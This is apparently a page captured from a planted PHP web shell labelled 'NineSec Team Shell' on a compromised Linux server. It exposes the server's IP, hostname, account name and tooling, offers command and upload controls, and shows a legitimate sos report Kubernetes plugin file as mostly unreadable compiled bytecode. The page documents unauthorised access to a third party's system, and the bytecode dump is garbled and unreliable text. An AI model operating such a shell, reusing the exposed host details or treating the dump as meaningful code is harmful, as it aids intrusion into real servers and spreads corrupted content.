NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/kubernetes.cpython-36.pyc
3

~�g�1�@s�ddlmZddlZddlZddlZddlmZmZmZm	Z	m
Z
dZdZdZ
Gdd�de�ZGd
d�dee�ZGdd�dee	e�ZdS)�)�	translateN)�Plugin�RedHatPlugin�DebianPlugin�UbuntuPlugin�	PluginOpt�kubelet�
kubernetes�kube-apiserver�
kube-proxy�kube-scheduler�kube-controller-manager�/etc/kubernetes/admin.confc@s�eZdZdZdZdDZdZddddd	gZd
gZddd
dgZ	dddddddddddddddddd d!gZ
d"d#d$d%gZed&d'd(d)�ed*d'd+d)�ed,d'd-d)�ed.d'd/d)�ed0d1e
d2d3�gZd4Zd5d6�Zd7d8�Zd9d:�Zd;d<�Zd=d>�Zd?d@�ZdAdB�ZdCS)E�
Kubernetesz+Kubernetes container orchestration platformr	�	containeri�z/etc/kubernetesz/run/flannelz/var/lib/kubelet/config.yamlz"/var/lib/kubelet/kubeadm-flags.envz /var/lib/kubelet/*_manager_statez/etc/kubernetes/pkiz /var/log/pods/kube-system_etcd-*z*/var/log/pods/kube-system_kube-apiserver-*z3/var/log/pods/kube-system_kube-controller-manager-*z*/var/log/pods/kube-system_kube-scheduler-*�eventsZdeploymentsZ	ingresses�podsZpvc�servicesZ
daemonsetsZreplicasetsZ	endpointsZstatefulsetsZ
configmapsZserviceaccountsZsecretsZjobsZcronjobsZclusterrolesZclusterrolebindingsZlimitrangesZresourcequotasZscZpvZrolesZrolebindings�allFz'collect all namespace output separately)�default�desc�describez(collect describe output of all resources�kubelogsz4copy some kube-system pod logs without using the API�podlogsz2capture stdout/stderr logs from pods using the APIzpodlogs-filter�z1only collect logs from pods matching this pattern)rZval_typerZkubectlcCsDtjjd�rdSx.|jD]$}|j|�r|jd|��7_PqWdS)N�
KUBECONFIGz --kubeconfig=)�os�environ�get�files�path_exists�kube_cmd)�selfZ_kconf�r#� /usr/lib/python3.6/kubernetes.py�set_kubeconfigks
zKubernetes.set_kubeconfigcst�fdd��jD��S)z" Check if this is the master node c3s|]}�j|�VqdS)N)r )�.0�f)r"r#r$�	<genexpr>usz-Kubernetes.check_is_master.<locals>.<genexpr>)�anyr)r"r#)r"r$�check_is_mastersszKubernetes.check_is_mastercs��j�j��j�j��jd�r.�j�j��jddddg��j�sLdSx&dD]}�j�j	�d|��d	d
�qRW�jd�r��j�fdd
��j
D�d	d
�n�j�fdd
��j
D�d	d
��j�j	�d�d	d
�}|ddko�jd��r>xR|dj�dd�D]:}|j
�}|�s�q|d}�j�j	�d|��d	d
��qW�j�j	�d�gd	d
��j�j	�d�d	d
��jd��r��jjddg��jd��j��j�dS)NrrZKUBERNETES_HTTP_PROXYZKUBERNETES_HTTPS_PROXYZKUBERNETES_NO_PROXY�version�config view� zcluster-info)�subdirrcsg|]}�j�d|���qS)z
 get -o json )r!)r&�res)r"r#r$�
<listcomp>�sz$Kubernetes.setup.<locals>.<listcomp>csg|]}�j�d|���qS)z get )r!)r&r/)r"r#r$r0�sz
 get nodes�statusrr�output�z describe node z get -o json nodesz get --raw /metricszkubevirt-virtctlZvmsZvmiszvirtctl version)r+r,)�
add_copy_spec�config_filesZadd_forbidden_path�forbidden_paths�
get_option�kube_system_logsZadd_env_varr*�add_cmd_outputr!�global_resources�collect_cmd_output�
splitlines�split�is_installed�	resources�extend�collect_per_resource_details�collect_all_resources)r"�subcmdZnodes�lineZwordsZnoder#)r"r$�setupws\







zKubernetes.setupc	Csr|j|j�d�dd�}|dj�dd�}dd�|D�}�x2|D�](}d	|��}|jd
�r�|j�d|��}x,|jD]"}|j|�d|��d
|��d�qrW|jd��rV|j�d|��}x�|jD]�}|dkr�q�|j|�d|���}|ddkr�dd�|dj�dd�D�}	xH|	D]@}
|j�d|��}|j|�d|�d|
��d
|�d|��d��qWq�W|jd�r@|j|�q@WdS)z7 Collect details about each resource in all namespaces z get namespaceszcluster-info)r.r2r3NcSs(g|] }|rt|j��r|j�d�qS)r)�lenr=)r&�nr#r#r$r0�sz;Kubernetes.collect_per_resource_details.<locals>.<listcomp>z--namespace=rz
 get -o json r-z
cluster-info/rrz get r1rcSsg|]}|j�d�qS)r)r=)r&�kr#r#r$r0�sz
 describe �/r)r;r!r<r7r?r9�exec_cmd�
_get_pod_logs)r"ZknsZ	kn_outputZknspsZnspaceZknsp�k_cmdr/�retZk_list�itemr#r#r$rA�s8



z'Kubernetes.collect_per_resource_detailsc
Csh|j�d|��}|j|�d��}|ddk�rdtj|d�}|jd�rTt|jd��nd}�x|dD]�}|r�tj||dd	�r�qdd
|dd�d|dd	��}d
|dk�rxN|dd
D]>}|dd	}	|d	}
|j|j�d|�d|	�d|
��|d�q�Wd|dkrdxP|ddD]@}|dd	}	|d	}
|j|j�d|�d|	�d|
��|d��qWqdWdS)Nz
 get -o json z podsr1rr2zpodlogs-filter�itemsZmetadata�namez
cluster-info/�	namespacez	/podlogs/Z
containers�specr-z logs z -c )r.ZinitContainers)	r!rJ�json�loadsr7r�re�matchr9)r"rQrLrMrZregZpodZ_subdirZcontZpod_nameZ	cont_namer#r#r$rK�s. zKubernetes._get_pod_logscCsB|jd�s>|j�d�}x&|jD]}|j|�d|��dd�qWdS)z% Collect details about all resources rz get --all-namespaces=truer-zcluster-info)r.N)r7r!r?r9)r"rLr/r#r#r$rBs
z Kubernetes.collect_all_resourcescCsvd}|j|j|d�|j|j�ddj|j��d�}|j|�d}d}ddjt|j�|j��d�}|j|||�dS)NzX(?P<var>{\s*"name":\s*[^,]*(pass|pwd|key|token|cred|PASS|PWD|KEY)[^,]*,\s*"value":)[^}]*z\g<var> "********"z^(�|�)zLS0tLS1CRUdJ[A-Za-z0-9+/=]+z***** SCRUBBED BASE64 PEM *****)	Zdo_cmd_output_subr!Zdo_cmd_private_sub�joinr5�do_file_private_sub�listrZdo_path_regex_sub)r"Z
env_regexpZpathexpZregexpZsubstr#r#r$�postprocs

zKubernetes.postprocN)r)�__name__�
__module__�__qualname__Z
short_descZplugin_nameZprofilesZplugin_timeoutr5r6r8r?r:r�strZoption_listr!r%r*rErArKrBr\r#r#r#r$r&sn
E(!
rcs4eZdZeZeZeZ�fdd�Z	�fdd�Z
�ZS)�RedHatKubernetescs|jd�rdSt�j�S)Nzopenshift-hyperkubeF)r>�super�
check_enabled)r")�	__class__r#r$rc/s
zRedHatKubernetes.check_enabledcs|j�t�j�dS)N)r%rbrE)r")rdr#r$rE5szRedHatKubernetes.setup)r]r^r_�
KUBE_PACKAGES�packages�KUBECONFIGSr�	KUBE_SVCSrrcrE�
__classcell__r#r#)rdr$ra's
racsHeZdZedZedZedZ�fd
d�Z	dd
�Z
�fdd�Z�ZS)�UbuntuKubernetes�k8s�#/root/cdk/cdk_addons_kubectl_config�4/var/snap/microk8s/current/credentials/client.config�snap.kubelet.daemon�snap.kube-apiserver.daemon�snap.kube-proxy.daemon�snap.kube-scheduler.daemon�#snap.kube-controller-manager.daemon�cdk.master.auth-webhookcsP|j�|jd�rd|_n|jd�r2d|_|j�|jjddg�t�j�dS)NZmicrok8szmicrok8s kubectlrkzk8s kubectlz/root/cdk/kubelet/config.yamlz!/root/cdk/audit/audit-policy.yaml)r%r>r!�_canonical_kubernetesr5r@rbrE)r")rdr#r$rEOs

zUbuntuKubernetes.setupc	sz|jdd�d�d}ddg}|j|�d�|�d�|�d	�|�d
�|�d�|�d�|�d
�g�|j�fdd�|D��dS)Nz
snap.k8s.*)Zunitsrkz/var/snap/k8s/commonr1rz/argsz/var/lib/k8s-dqlite/info.yamlz /var/lib/k8s-dqlite/cluster.yamlz'/var/lib/k8sd/state/truststore/k8s.yamlz&/var/lib/k8sd/state/database/info.yamlz)/var/lib/k8sd/state/database/cluster.yamlz/var/lib/k8sd/state/daemon.yamlcsg|]}��d|���qS)r-r#)r&rC)�k8s_cmdr#r$r0tsz:UbuntuKubernetes._canonical_kubernetes.<locals>.<listcomp>)Zadd_journalr4r9)r"Z
k8s_commonZk8s_subcmdsr#)rur$rt^sz&UbuntuKubernetes._canonical_kubernetescst�j�|jd�dS)Nz;/var/snap/k8s/common/var/lib/k8sd/state/truststore/k8s.yaml)rbr\rZ)r")rdr#r$r\ws
zUbuntuKubernetes.postproc)rk)rlrm)rnrorprqrrrs)
r]r^r_rerfrgrrhrrErtr\rir#r#)rdr$rj:srj)rr	)rr
rrr
)r)ZfnmatchrrUrSrZsos.report.pluginsrrrrrrerhrgrrarjr#r#r#r$�<module>s"

NineSec Team - 2022